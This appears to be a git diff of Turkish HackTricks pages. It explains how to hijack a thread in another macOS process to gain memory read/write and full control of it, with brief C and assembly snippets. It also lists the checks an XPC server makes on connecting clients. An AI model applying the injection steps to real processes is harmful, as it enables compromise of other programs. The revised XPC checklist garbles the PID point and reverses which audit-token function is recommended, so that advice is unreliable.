Başlangıçta, **`task_threads()`** fonksiyonu, uzaktaki görevden bir iş parçacığı listesi almak için görev portunda çağrılır. Bir iş parçacığı ele geçirilmek üzere seçilir. Bu yaklaşım, yeni önlemlerin `thread_create_running()`'i engellemesi nedeniyle yeni bir uzaktan iş parçacığı oluşturmanın yasak olduğu geleneksel kod enjeksiyon yöntemlerinden sapmaktadır.
|
||||
|
||||
İş parçacığı kontrol etmek için **`thread_suspend()`** çağrılır ve iş parçacığının yürütmesi durdurulur.
|
||||
İş parçacığını kontrol etmek için, **`thread_suspend()`** çağrılır ve yürütmesi durdurulur.
|
||||
|
||||
Uzak iş parçacığı üzerinde izin verilen tek işlemler, iş parçacığını **durdurmak** ve **başlatmak**, kayıt değerlerini **alıp değiştirmek** içindir. Uzak işlev çağrıları, kayıtları `x0` ile `x7` arasındaki **argümanlar** olarak ayarlayarak, **`pc`**'yi hedeflenen işlevi hedeflemek üzere yapılandırarak ve iş parçacığını etkinleştirerek başlatılır. İş parçacığının dönüşten sonra çökmemesini sağlamak için dönüşün tespit edilmesi gerekmektedir.
|
||||
Uzaktaki iş parçacığında yalnızca **durdurma** ve **başlatma**, **kayıt** değerlerini **alma** ve **değiştirme** işlemlerine izin verilir. Uzaktan fonksiyon çağrıları, `x0` ile `x7` kayıtlarını **argümanlar** ile ayarlayarak, **`pc`**'yi hedeflenen fonksiyona ayarlayarak ve iş parçacığını etkinleştirerek başlatılır. İş parçacığının dönüşten sonra çökmediğinden emin olmak, dönüşün tespit edilmesini gerektirir.
|
||||
|
||||
Bir strateji, iş parçacığı için **bir istisna işleyici kaydetmek** için `thread_set_exception_ports()` kullanarak uzak iş parçacığı için bir istisna işleyici kaydetmektir. Bu, işlev çağrısından önce `lr` kaydını geçersiz bir adres olarak ayarlar. Bu, işlev yürütmesinden sonra bir istisna tetikler ve bir mesajı istisna bağlantı noktasına gönderir, iş parçacığının durumu incelenerek dönüş değeri kurtarılır. Alternatif olarak, Ian Beer'ın triple\_fetch saldırısından benimsenen bir yöntemde, `lr` sonsuz bir döngüye ayarlanır. Ardından iş parçacığının kayıtları sürekli olarak izlenir ve **`pc`'nin o talimatı işaret ettiği** kontrol edilir.
|
||||
Bir strateji, uzaktaki iş parçacığı için `thread_set_exception_ports()` kullanarak bir istisna işleyicisi **kaydetmektir**, fonksiyon çağrısından önce `lr` kaydını geçersiz bir adrese ayarlamaktır. Bu, fonksiyon yürütüldükten sonra bir istisna tetikler, istisna portuna bir mesaj gönderir ve dönüş değerini kurtarmak için iş parçacığının durumunu incelemeyi sağlar. Alternatif olarak, Ian Beer’in triple_fetch istismarından alınan bir yöntemle, `lr` sonsuz döngüye ayarlanır. İş parçacığının kayıtları, **`pc` o talimata işaret edene kadar** sürekli izlenir.
|
||||
|
||||
## 2. İletişim için Mach bağlantı noktaları
|
||||
## 2. Mach portları ile iletişim
|
||||
|
||||
Sonraki aşama, uzak iş parçacığıyla iletişimi kolaylaştırmak için Mach bağlantı noktaları oluşturmaktır. Bu bağlantı noktaları, görevler arasında keyfi gönderme ve alma haklarının aktarılmasında önemli rol oynar.
|
||||
Sonraki aşama, uzaktaki iş parçacığı ile iletişimi kolaylaştırmak için Mach portları kurmaktır. Bu portlar, görevler arasında keyfi gönderme ve alma haklarının aktarımında önemli bir rol oynar.
|
||||
|
||||
İki yönlü iletişim için, biri yerel ve diğeri uzak görevde olmak üzere iki Mach alma hakkı oluşturulur. Ardından, her bağlantı noktası için bir gönderme hakkı karşıt göreve aktarılır, mesaj alışverişi yapılmasını sağlar.
|
||||
İki yönlü iletişim için, bir yerel ve diğeri uzaktaki görevde olmak üzere iki Mach alma hakkı oluşturulur. Ardından, her port için bir gönderme hakkı karşıt göreve aktarılır ve mesaj alışverişi sağlanır.
|
||||
|
||||
Yerel bağlantı noktasına odaklanılarak, alma hakkı yerel görev tarafından tutulur. Bağlantı noktası `mach_port_allocate()` ile oluşturulur. Zorluk, bu bağlantı noktasına bir gönderme hakkını uzak göreve aktarmaktadır.
|
||||
Yerel port üzerinde odaklanıldığında, alma hakkı yerel görev tarafından tutulur. Port, `mach_port_allocate()` ile oluşturulur. Bu port için bir gönderme hakkını uzaktaki göreve aktarmak zorluk teşkil eder.
|
||||
|
||||
Bir strateji, `thread_set_special_port()`'u kullanarak yerel bağlantı noktasına bir gönderme hakkını uzak iş parçacığının `THREAD_KERNEL_PORT`'una yerleştirmektir. Ardından, uzak iş parçacığına `mach_thread_self()` çağrısı yapması talimatı verilir ve gönderme hakkını alması sağlanır.
|
||||
Bir strateji, `thread_set_special_port()` kullanarak yerel port için bir gönderme hakkını uzaktaki iş parçacığının `THREAD_KERNEL_PORT`'una yerleştirmeyi içerir. Ardından, uzaktaki iş parçacığına `mach_thread_self()` çağrısı yapması talimatı verilir, böylece gönderme hakkı alınır.
|
||||
|
||||
Uzak bağlantı noktası için işlem temelde tersine çevrilir. Uzak iş parçacığına, `mach_port_allocate()`'in dönüş mekanizması nedeniyle uygun olmadığı için `mach_reply_port()` kullanarak bir Mach bağlantı noktası oluşturması talimatı verilir. Bağlantı noktası oluşturulduktan sonra, uzak iş parçacığında `mach_port_insert_right()` çağrılır ve bir gönderme hakkı oluşturulur. Bu hak daha sonra `thread_set_special_port()` kullanılarak çekirdeğe saklanır. Yerel görevde, uzak iş parçacığı üzerinde `thread_get_special_port()` kullanılarak, uzak görevde yeni oluşturulan Mach bağlantı noktasına bir gönderme hakkı elde edilir.
|
||||
Uzaktaki port için süreç esasen tersine çevrilir. Uzaktaki iş parçacığı, `mach_reply_port()` aracılığıyla bir Mach portu oluşturması için yönlendirilir (çünkü `mach_port_allocate()` dönüş mekanizması nedeniyle uygun değildir). Port oluşturulduktan sonra, uzaktaki iş parçacığında bir gönderme hakkı oluşturmak için `mach_port_insert_right()` çağrılır. Bu hak daha sonra `thread_set_special_port()` kullanılarak çekirdekte saklanır. Yerel görevde, uzaktaki iş parçacığı üzerinde `thread_get_special_port()` kullanılarak uzaktaki görevde yeni tahsis edilen Mach portuna bir gönderme hakkı alınır.
|
||||
|
||||
Bu adımların tamamlanması, Mach bağlantı noktalarının kurulmasını sağlar ve iki yönlü iletişim için temel oluşturur.
|
||||
Bu adımların tamamlanması, Mach portlarının kurulmasını sağlar ve iki yönlü iletişim için zemin hazırlar.
|
||||
|
||||
## 3. Temel Bellek Okuma/Yazma İşlemleri
|
||||
## 3. Temel Bellek Okuma/Yazma Primitifleri
|
||||
|
||||
Bu bölümde, temel bellek okuma ve yazma işlemlerini sağlamak için yürütme ilkelinin kullanılmasına odaklanılır. Bu ilk adımlar, uzak işlem üzerinde daha fazla kontrol sağlamak için önemlidir, ancak bu aşamadaki ilkel işlemler pek çok amaç için hizmet etmeyecektir. Yakında, bunlar daha gelişmiş sürümlere yükseltilecektir.
|
||||
Bu bölümde, temel bellek okuma ve yazma primitiflerini oluşturmak için yürütme primitifinin kullanılmasına odaklanılmaktadır. Bu ilk adımlar, uzaktaki süreç üzerinde daha fazla kontrol elde etmek için kritik öneme sahiptir, ancak bu aşamadaki primitifler pek fazla işlev görmeyecektir. Yakında, daha gelişmiş versiyonlara yükseltileceklerdir.
|
||||
|
||||
### Yürütme İlkelini Kullanarak Bellek Okuma ve Yazma
|
||||
### Yürütme Primitifi Kullanarak Bellek Okuma ve Yazma
|
||||
|
||||
Bellek okuma işlemi için, aşağıdaki yapıya benzeyen işlevler kullanılır:
|
||||
Amaç, belirli fonksiyonlar kullanarak bellek okuma ve yazma gerçekleştirmektir. Bellek okumak için, aşağıdaki yapıya benzeyen fonksiyonlar kullanılır:
|
||||
```c
|
||||
uint64_t read_func(uint64_t *address) {
|
||||
return *address;
|
||||
}
|
||||
```
|
||||
Ve belleğe yazmak için, bu yapıya benzer işlevler kullanılır:
|
||||
Ve belleğe yazmak için bu yapıya benzer fonksiyonlar kullanılır:
|
||||
```c
|
||||
void write_func(uint64_t *address, uint64_t value) {
|
||||
*address = value;
|
||||
}
|
||||
```
|
||||
Bu işlevler, verilen derleme talimatlarına karşılık gelir:
|
||||
Bu fonksiyonlar verilen montaj talimatlarına karşılık gelir:
|
||||
```
|
||||
_read_func:
|
||||
ldr x0, [x0]
|
||||
|
@ -71,110 +72,110 @@ _write_func:
|
|||
str x1, [x0]
|
||||
ret
|
||||
```
|
||||
### Uygun Fonksiyonları Belirleme
|
||||
### Uygun Fonksiyonların Belirlenmesi
|
||||
|
||||
Ortak kütüphanelerin taranması, bu işlemler için uygun adayları ortaya çıkardı:
|
||||
Yaygın kütüphanelerin taranması, bu işlemler için uygun adayları ortaya çıkardı:
|
||||
|
||||
1. **Bellek Okuma:**
|
||||
[Objective-C çalışma zamanı kütüphanesinden](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) `property_getName()` fonksiyonu, bellek okuma için uygun bir fonksiyon olarak belirlenmiştir. Aşağıda fonksiyonun taslağı bulunmaktadır:
|
||||
1. **Belleği Okuma:**
|
||||
`property_getName()` fonksiyonu, [Objective-C çalışma zamanı kütüphanesi](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) için bellek okuma işlemi için uygun bir fonksiyon olarak belirlenmiştir. Fonksiyon aşağıda özetlenmiştir:
|
||||
```c
|
||||
const char *property_getName(objc_property_t prop) {
|
||||
return prop->name;
|
||||
}
|
||||
```
|
||||
Bu işlev, `read_func` gibi davranarak `objc_property_t`'nin ilk alanını döndürerek etkili bir şekilde çalışır.
|
||||
Bu fonksiyon, `objc_property_t`'nin ilk alanını döndürerek `read_func` gibi etkili bir şekilde çalışır.
|
||||
|
||||
2. **Belleğe Yazma:**
|
||||
Belleğe yazma için önceden oluşturulmuş bir işlev bulmak daha zorlu olabilir. Bununla birlikte, libxpc'deki `_xpc_int64_set_value()` işlevi aşağıdaki derlemesiyle uygun bir adaydır:
|
||||
2. **Bellek Yazma:**
|
||||
Bellek yazmak için önceden oluşturulmuş bir fonksiyon bulmak daha zordur. Ancak, libxpc'den `_xpc_int64_set_value()` fonksiyonu, aşağıdaki ayrıştırma ile uygun bir adaydır:
|
||||
```c
|
||||
__xpc_int64_set_value:
|
||||
str x1, [x0, #0x18]
|
||||
ret
|
||||
```
|
||||
Belirli bir adreste 64 bitlik bir yazma işlemi gerçekleştirmek için, uzaktan çağrı aşağıdaki gibi yapılandırılır:
|
||||
Bir belirli adrese 64-bit yazma işlemi gerçekleştirmek için, uzak çağrı şu şekilde yapılandırılır:
|
||||
```c
|
||||
_xpc_int64_set_value(address - 0x18, value)
|
||||
```
|
||||
Bu temel yapılar oluşturulduktan sonra, uzak işlemi kontrol etmek için önemli bir adım olan paylaşılan belleğin oluşturulması için sahne hazırlanır.
|
||||
Bu ilkelere dayanarak, paylaşılan bellek oluşturmak için sahne hazırlanmış olup, uzaktan süreci kontrol etmede önemli bir ilerleme kaydedilmiştir.
|
||||
|
||||
## 4. Paylaşılan Bellek Kurulumu
|
||||
|
||||
Amaç, yerel ve uzak görevler arasında paylaşılan bellek oluşturmaktır. Bu, veri transferini basitleştirir ve çoklu argümanlara sahip işlevlerin çağrılmasını kolaylaştırır. Yaklaşım, `libxpc` ve onun `OS_xpc_shmem` nesne türünü kullanmayı içerir. Bu nesne türü, Mach bellek girişlerine dayanır.
|
||||
Amaç, yerel ve uzaktan görevler arasında paylaşılan bellek oluşturarak veri transferini basitleştirmek ve birden fazla argümanla fonksiyon çağrısını kolaylaştırmaktır. Yaklaşım, Mach bellek girişleri üzerine inşa edilmiş `libxpc` ve onun `OS_xpc_shmem` nesne türünü kullanmayı içerir.
|
||||
|
||||
### İşlem Genel Bakışı:
|
||||
### Süreç Genel Görünümü:
|
||||
|
||||
1. **Bellek Tahsisi**:
|
||||
- Paylaşım için belleği `mach_vm_allocate()` kullanarak tahsis edin.
|
||||
- Ayrılan bellek bölgesi için bir `OS_xpc_shmem` nesnesi oluşturmak için `xpc_shmem_create()` kullanın. Bu işlev, Mach bellek girişinin oluşturulmasını yönetecek ve Mach gönderme hakkını `OS_xpc_shmem` nesnesinin `0x18` ofsetinde depolayacaktır.
|
||||
- `mach_vm_allocate()` kullanarak paylaşım için bellek tahsis edin.
|
||||
- Tahsis edilen bellek bölgesi için bir `OS_xpc_shmem` nesnesi oluşturmak üzere `xpc_shmem_create()` kullanın. Bu fonksiyon, Mach bellek girişinin oluşturulmasını yönetecek ve `OS_xpc_shmem` nesnesinin `0x18` ofsetinde Mach gönderim hakkını saklayacaktır.
|
||||
|
||||
2. **Uzak İşlemde Paylaşılan Bellek Oluşturma**:
|
||||
- Uzak işlemde `OS_xpc_shmem` nesnesi için bellek tahsis edin ve bunu uzaktan `malloc()` çağrısıyla yapın.
|
||||
- Yerel `OS_xpc_shmem` nesnesinin içeriğini uzak işleme kopyalayın. Ancak, bu ilk kopyada `0x18` ofsetinde yanlış Mach bellek girişi adları olacaktır.
|
||||
2. **Uzaktan Süreçte Paylaşılan Bellek Oluşturma**:
|
||||
- Uzaktan `malloc()` çağrısıyla uzaktan süreçte `OS_xpc_shmem` nesnesi için bellek tahsis edin.
|
||||
- Yerel `OS_xpc_shmem` nesnesinin içeriğini uzaktan sürece kopyalayın. Ancak, bu ilk kopya `0x18` ofsetinde yanlış Mach bellek giriş isimlerine sahip olacaktır.
|
||||
|
||||
3. **Mach Bellek Girişini Düzeltme**:
|
||||
- Uzak göreve Mach bellek girişi için bir gönderme hakkı eklemek için `thread_set_special_port()` yöntemini kullanın.
|
||||
- Uzak bellek girişinin adıyla `0x18` ofsetindeki Mach bellek girişi alanını düzeltmek için üzerine yazın.
|
||||
- Uzaktan görevde Mach bellek girişi için bir gönderim hakkı eklemek üzere `thread_set_special_port()` yöntemini kullanın.
|
||||
- Uzaktan bellek girişinin ismi ile `0x18` ofsetindeki Mach bellek girişi alanını üzerine yazarak düzeltin.
|
||||
|
||||
4. **Paylaşılan Bellek Kurulumunu Tamamlama**:
|
||||
- Uzaktaki `OS_xpc_shmem` nesnesini doğrulayın.
|
||||
- Uzaktan `xpc_shmem_remote()` çağrısıyla paylaşılan bellek eşlemesini oluşturun.
|
||||
- Uzaktan `OS_xpc_shmem` nesnesini doğrulayın.
|
||||
- `xpc_shmem_remote()` ile uzaktan çağrı yaparak paylaşılan bellek haritasını oluşturun.
|
||||
|
||||
Bu adımları takip ederek, yerel ve uzak görevler arasında paylaşılan bellek verimli bir şekilde kurulacak ve basit veri transferleri ve çoklu argüman gerektiren işlevlerin yürütülmesi mümkün olacaktır.
|
||||
Bu adımları izleyerek, yerel ve uzaktan görevler arasında paylaşılan bellek verimli bir şekilde kurulacak ve veri transferleri ile birden fazla argüman gerektiren fonksiyonların yürütülmesi kolaylaşacaktır.
|
||||
|
||||
## Ek Kod Parçacıkları
|
||||
|
||||
Bellek tahsisi ve paylaşılan bellek nesnesi oluşturmak için:
|
||||
Bellek tahsisi ve paylaşılan bellek nesnesi oluşturma için:
|
||||
```c
|
||||
mach_vm_allocate();
|
||||
xpc_shmem_create();
|
||||
```
|
||||
Uzak işlemde paylaşılan bellek nesnesi oluşturmak ve düzeltmek için:
|
||||
Uzak süreçte paylaşılan bellek nesnesini oluşturmak ve düzeltmek için:
|
||||
```c
|
||||
malloc(); // for allocating memory remotely
|
||||
thread_set_special_port(); // for inserting send right
|
||||
```
|
||||
Mach bağlantı noktalarının ve bellek giriş adlarının ayrıntılarını doğru bir şekilde ele alarak paylaşılan belleğin düzgün çalışmasını sağlamak önemlidir.
|
||||
Hatırlayın ki, paylaşılan bellek ayarının düzgün çalışmasını sağlamak için Mach portları ve bellek giriş adlarının detaylarını doğru bir şekilde ele almak önemlidir.
|
||||
|
||||
## 5. Tam Kontrol Sağlama
|
||||
|
||||
## 5. Tam Kontrol Elde Etme
|
||||
|
||||
Paylaşılan belleği başarıyla kurduktan ve keyfi yürütme yeteneklerini elde ettikten sonra, hedef süreç üzerinde tam kontrol elde etmiş oluruz. Bu kontrolü sağlayan temel işlevler şunlardır:
|
||||
Paylaşılan belleği başarıyla kurduktan ve keyfi yürütme yetenekleri kazandıktan sonra, esasen hedef süreç üzerinde tam kontrol elde etmiş oluyoruz. Bu kontrolü sağlayan ana işlevler şunlardır:
|
||||
|
||||
1. **Keyfi Bellek İşlemleri**:
|
||||
- Paylaşılan bölgeden veri kopyalamak için `memcpy()` işlevini çağırarak keyfi bellek okumaları gerçekleştirin.
|
||||
- Paylaşılan bölgeye veri aktarmak için `memcpy()` kullanarak keyfi bellek yazmaları gerçekleştirin.
|
||||
- Paylaşılan bölgeden veri kopyalamak için `memcpy()` çağrısını kullanarak keyfi bellek okumaları gerçekleştirin.
|
||||
- Paylaşılan bölgeye veri aktarmak için `memcpy()` kullanarak keyfi bellek yazımları gerçekleştirin.
|
||||
|
||||
2. **Birden Fazla Argümanı Olan Fonksiyon Çağrılarını Yönetme**:
|
||||
- 8'den fazla argüman gerektiren fonksiyonlar için, ek argümanları çağırma kuralına uygun olarak yığına yerleştirin.
|
||||
2. **Birden Fazla Argümanla Fonksiyon Çağrılarını Ele Alma**:
|
||||
- 8'den fazla argüman gerektiren fonksiyonlar için, ek argümanları çağrı konvansiyonuna uygun olarak yığında düzenleyin.
|
||||
|
||||
3. **Mach Bağlantı Noktası Aktarımı**:
|
||||
- Daha önceden kurulan bağlantı noktaları aracılığıyla Mach mesajları ile Mach bağlantı noktalarını görevler arasında aktarın.
|
||||
3. **Mach Port Transferi**:
|
||||
- Daha önce kurulmuş portlar aracılığıyla görevler arasında Mach portlarını Mach mesajları ile aktarın.
|
||||
|
||||
4. **Dosya Tanımlayıcı Aktarımı**:
|
||||
- Ian Beer tarafından `triple_fetch`te vurgulanan bir teknik olan dosya tanımlayıcılarını işlemler arasında aktarın.
|
||||
4. **Dosya Tanımlayıcı Transferi**:
|
||||
- Ian Beer'in `triple_fetch` adlı tekniğinde vurgulanan dosya portlarını kullanarak süreçler arasında dosya tanımlayıcılarını aktarın.
|
||||
|
||||
Bu kapsamlı kontrol, hedef süreçle etkileşim için ayrıntılı bir uygulama ve kullanıcı dostu bir API sağlayan [threadexec](https://github.com/bazad/threadexec) kütüphanesinde yer almaktadır.
|
||||
Bu kapsamlı kontrol, [threadexec](https://github.com/bazad/threadexec) kütüphanesi içinde kapsüllenmiştir ve kurban süreci ile etkileşim için ayrıntılı bir uygulama ve kullanıcı dostu bir API sağlar.
|
||||
|
||||
## Önemli Düşünceler:
|
||||
## Önemli Hususlar:
|
||||
|
||||
- Sistem kararlılığını ve veri bütünlüğünü korumak için bellek okuma/yazma işlemleri için `memcpy()` işlevini doğru bir şekilde kullanın.
|
||||
- Mach bağlantı noktalarını veya dosya tanımlayıcılarını aktarırken, sızıntıları veya istenmeyen erişimleri önlemek için uygun protokollere uyun ve kaynakları sorumlu bir şekilde yönetin.
|
||||
- Sistem kararlılığını ve veri bütünlüğünü korumak için bellek okuma/yazma işlemleri için `memcpy()`'nin doğru kullanımını sağlayın.
|
||||
- Mach portları veya dosya tanımlayıcılarını aktarırken, uygun protokolleri izleyin ve kaynakları sorumlu bir şekilde yönetin, sızıntıları veya istenmeyen erişimleri önleyin.
|
||||
|
||||
Bu yönergeleri takip ederek ve `threadexec` kütüphanesini kullanarak, hedef süreç üzerinde tam kontrol sağlayarak süreçleri ayrıntılı bir şekilde yönetebilir ve etkileşimde bulunabilirsiniz.
|
||||
Bu yönergelere uyarak ve `threadexec` kütüphanesini kullanarak, süreçleri ayrıntılı bir düzeyde etkili bir şekilde yönetebilir ve etkileşimde bulunarak hedef süreç üzerinde tam kontrol elde edebilirsiniz.
|
||||
|
||||
## Referanslar
|
||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# macOS XPC Bağlantı Süreci Kontrolü
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## XPC Bağlantı Süreci Kontrolü
|
||||
|
||||
Bir XPC hizmetine bağlantı kurulduğunda, sunucu bağlantının izin verilip verilmediğini kontrol eder. Genellikle şu kontrolleri yapar:
|
||||
Bir XPC hizmetine bağlantı kurulduğunda, sunucu bağlantının izinli olup olmadığını kontrol eder. Genellikle gerçekleştireceği kontroller şunlardır:
|
||||
|
||||
1. Bağlanan **işlem Apple tarafından imzalanmış** bir sertifika ile mi imzalanmış (yalnızca Apple tarafından verilen)?
|
||||
* Bu **doğrulanmazsa**, saldırgan herhangi bir diğer kontrolle eşleşecek bir **sahte sertifika** oluşturabilir.
|
||||
2. Bağlanan işlem **kuruluşun sertifikası** ile mi imzalanmış (takım kimliği doğrulaması)?
|
||||
* Bu **doğrulanmazsa**, Apple'dan herhangi bir geliştirici sertifikası, hizmete bağlanmak için kullanılabilir.
|
||||
3. Bağlanan işlemde **uygun bir paket kimliği** bulunuyor mu?
|
||||
* Bu **doğrulanmazsa**, aynı kuruluş tarafından imzalanmış herhangi bir araç, XPC hizmetiyle etkileşimde bulunmak için kullanılabilir.
|
||||
4. (4 veya 5) Bağlanan işlemin **uygun bir yazılım sürüm numarası** var mı?
|
||||
* Bu **doğrulanmazsa**, diğer kontroller yerinde olsa bile, eski, güvenlik açıklarına sahip istemciler, işlem enjeksiyonuna karşı savunmasız bir şekilde XPC hizmetine bağlanmak için kullanılabilir.
|
||||
5. (4 veya 5) Bağlanan işlemin tehlikeli yetkilendirmelere sahip olmayan sertleştirilmiş çalışma zamanı olup olmadığı kontrol edilir (örneğin, keyfi kitaplıkları yüklemeye veya DYLD ortam değişkenlerini kullanmaya izin verenler).
|
||||
1. Bu **doğrulanmazsa**, istemci **kod enjeksiyonuna karşı savunmasız** olabilir.
|
||||
6. Bağlanan işlemin, hizmete bağlanmasına izin veren bir **yetkilendirme**ye sahip olup olmadığı kontrol edilir. Bu, Apple ikili dosyaları için geçerlidir.
|
||||
7. **Doğrulama**, bağlanan **istemcinin denetim belirteci**ne dayanmalıdır, **işlem kimliği (PID)** yerine. Çünkü ilkini kullanmak, **PID yeniden kullanım saldırılarına** karşı korur.
|
||||
* Geliştiriciler nadiren denetim belirteci API çağını kullanır çünkü bu **özel** bir çağrıdır, bu yüzden Apple herhangi bir zamanda **değiştirebilir**. Ayrıca, özel API kullanımı Mac App Store uygulamalarında izin verilmez.
|
||||
* **`processIdentifier`** yöntemi kullanılıyorsa, savunmasız olabilir
|
||||
* En son [belirli durumlarda savunmasız olabilen](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) **`xpc_connection_get_audit_token`** yerine **`xpc_dictionary_get_audit_token`** kullanılmalıdır.
|
||||
1. Bağlanan **sürecin Apple imzalı** bir sertifika ile imzalanıp imzalanmadığını kontrol edin (sadece Apple tarafından verilir).
|
||||
* Eğer bu **doğrulanmazsa**, bir saldırgan **herhangi bir diğer kontrolle eşleşen sahte bir sertifika** oluşturabilir.
|
||||
2. Bağlanan sürecin **kuruluşun sertifikasıyla** imzalanıp imzalanmadığını kontrol edin (takım ID doğrulaması).
|
||||
* Eğer bu **doğrulanmazsa**, Apple'dan alınan **herhangi bir geliştirici sertifikası** imzalamak için kullanılabilir ve hizmete bağlanabilir.
|
||||
3. Bağlanan sürecin **uygun bir paket kimliğine** sahip olup olmadığını kontrol edin.
|
||||
* Eğer bu **doğrulanmazsa**, **aynı kuruluş tarafından imzalanmış** herhangi bir araç XPC hizmeti ile etkileşimde bulunmak için kullanılabilir.
|
||||
4. (4 veya 5) Bağlanan sürecin **uygun bir yazılım sürüm numarasına** sahip olup olmadığını kontrol edin.
|
||||
* Eğer bu **doğrulanmazsa**, eski, güvensiz istemciler, süreç enjeksiyonuna karşı savunmasız olarak XPC hizmetine bağlanmak için kullanılabilir.
|
||||
5. (4 veya 5) Bağlanan sürecin tehlikeli yetkilere sahip olmadan **sertleştirilmiş çalışma zamanı** olup olmadığını kontrol edin (örneğin, rastgele kütüphaneleri yüklemeye veya DYLD ortam değişkenlerini kullanmaya izin verenler gibi).
|
||||
1. Eğer bu **doğrulanmazsa**, istemci **kod enjeksiyonuna karşı savunmasız** olabilir.
|
||||
6. Bağlanan sürecin hizmete bağlanmasına izin veren bir **yetkiye** sahip olup olmadığını kontrol edin. Bu, Apple ikili dosyaları için geçerlidir.
|
||||
7. **Doğrulama**, bağlanan **istemcinin denetim belirtecine** **dayanmalıdır** ve bunun yerine süreç ID'sine (**PID**) dayanmalıdır, çünkü bu, **PID yeniden kullanım saldırılarını** önler.
|
||||
* Geliştiriciler **denetim belirteci** API çağrısını nadiren kullanır çünkü bu **özel** bir çağrıdır, bu nedenle Apple istediği zaman **değiştirebilir**. Ayrıca, özel API kullanımı Mac App Store uygulamalarında yasaklanmıştır.
|
||||
* **`processIdentifier`** yöntemi kullanılıyorsa, savunmasız olabilir.
|
||||
* **`xpc_dictionary_get_audit_token`** yerine **`xpc_connection_get_audit_token`** kullanılmalıdır, çünkü sonuncusu belirli durumlarda [savunmasız olabilir](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
